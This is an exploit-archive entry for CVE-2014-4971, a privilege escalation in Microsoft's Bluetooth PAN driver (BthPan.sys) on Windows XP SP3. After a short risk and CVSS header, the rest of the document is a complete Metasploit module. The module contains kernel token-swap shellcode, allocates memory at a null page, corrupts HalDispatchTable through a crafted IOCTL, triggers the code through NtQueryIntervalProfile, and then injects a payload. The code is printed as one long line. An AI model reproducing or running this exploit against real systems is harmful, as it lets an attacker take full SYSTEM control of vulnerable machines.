Microsoft Bluetooth Personal Area Networking Privilege Escalation

Credit: Jay Smith
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264

CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: http// # Current source: ## require 'msf/core' require 'msf/core/exploit/local/windows_kernel' require 'rex' class Metasploit3 < Msf::Exploit::Local Rank = AverageRanking include Msf::Exploit::Local::WindowsKernel include Msf::Post::File include Msf::Post::Windows::FileInfo include Msf::Post::Windows::Priv include Msf::Post::Windows::Process def initialize(info = {}) super(update_info(info, 'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation', 'Description' => %q{ A vulnerability within Microsoft Bluetooth Personal Area Networking module, BthPan.sys, can allow an attacker to inject memory controlled by the attacker into an arbitrary location. This can be used by an attacker to overwrite HalDispatchTable+0x4 and execute arbitrary code by subsequently calling NtQueryIntervalProfile. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt Bergin <level[at]>', # Vulnerability discovery and PoC 'Jay Smith <jsmith[at]>' # MSF module ], 'Arch' => ARCH_X86, 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread' }, 'Targets' => [ ['Windows XP SP3', { 'HaliQuerySystemInfo' => 0x16bba, '_KPROCESS' => "\x44", '_TOKEN' => "\xc8", '_UPID' => "\x84", '_APLINKS' => "\x88" } ] ], 'References' => [ [ 'CVE', '2014-4971' ], [ 'URL', '' ], [ 'OSVDB', '109387' ] ], 'DisclosureDate' => 'Jul 18 2014', 'DefaultTarget' => 0 )) end def ring0_shellcode tokenswap = "\x60\x64\xA1\x24\x01\x00\x00" tokenswap << "\x8B\x40\x44\x50\xBB\x04" tokenswap << "\x00\x00\x00\x8B\x80\x88" tokenswap << "\x00\x00\x00\x2D\x88" tokenswap << "\x00\x00\x00\x39\x98\x84" tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8" tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB" tokenswap << [session.sys.process.getpid].pack('V') tokenswap << "\x8B\x80\x88\x00\x00\x00" tokenswap << "\x2D\x88\x00\x00\x00" tokenswap << "\x39\x98\x84\x00\x00\x00" tokenswap << "\x75\xED\x89\xB8\xC8" tokenswap << "\x00\x00\x00\x61\xC3" end def fill_memory(proc, address, length, content) session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE") unless proc.memory.writable?(address) vprint_error("Failed to allocate memory") return nil end vprint_good("#{address} is now writable") result = proc.memory.write(address, content) if result.nil? vprint_error("Failed to write contents to memory") return nil end vprint_good("Contents successfully written to 0x#{address.to_s(16)}") return address end def disclose_addresses(t) addresses = {} hal_dispatch_table = find_haldispatchtable return nil if hal_dispatch_table.nil? addresses['halDispatchTable'] = hal_dispatch_table vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}") vprint_status('Getting the hal.dll base address...') hal_info = find_sys_base('hal.dll') if hal_info.nil? vprint_error('Failed to disclose hal.dll base address') return nil end hal_base = hal_info[0] vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}") hali_query_system_information = hal_base + t['HaliQuerySystemInfo'] addresses['HaliQuerySystemInfo'] = hali_query_system_information vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}") addresses end def check if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/ return Exploit::CheckCode::Safe end os = sysinfo["OS"] return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') return Exploit::CheckCode::Safe unless handle session.railgun.kernel32.CloseHandle(handle) return Exploit::CheckCode::Vulnerable end def exploit if is_system? fail_with(Exploit::Failure::None, 'Session is already elevated') end unless check == Exploit::CheckCode::Vulnerable fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system") end handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING') if handle.nil? fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device") end my_target = targets[0] print_status("Disclosing the HalDispatchTable address...") @addresses = disclose_addresses(my_target) if @addresses.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.") else print_good("Address successfully disclosed.") end print_status("Storing the shellcode in memory...") this_proc = kernel_shell = ring0_shellcode kernel_shell_address = 0x1 buf = "\x90" * 0x6000 buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400 buf[0x5000, kernel_shell.length] = kernel_shell result = fill_memory(this_proc, kernel_shell_address, buf.length, buf) if result.nil? session.railgun.kernel32.CloseHandle(handle) fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory") end print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}") print_status("Triggering the vulnerability, corrupting the HalDispatchTable...") session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0) session.railgun.kernel32.CloseHandle(handle) print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...") session.railgun.ntdll.NtQueryIntervalProfile(2, 4) print_status("Checking privileges after exploitation...") unless is_system? fail_with(Failure::Unknown, "The privilege escalation wasn't successful") end print_good("Privilege escalation successful!") p = payload.encoded print_status("Injecting #{p.length} bytes to memory and executing it...") unless execute_shellcode(p) fail_with(Failure::Unknown, "Error while executing the payload") end end end

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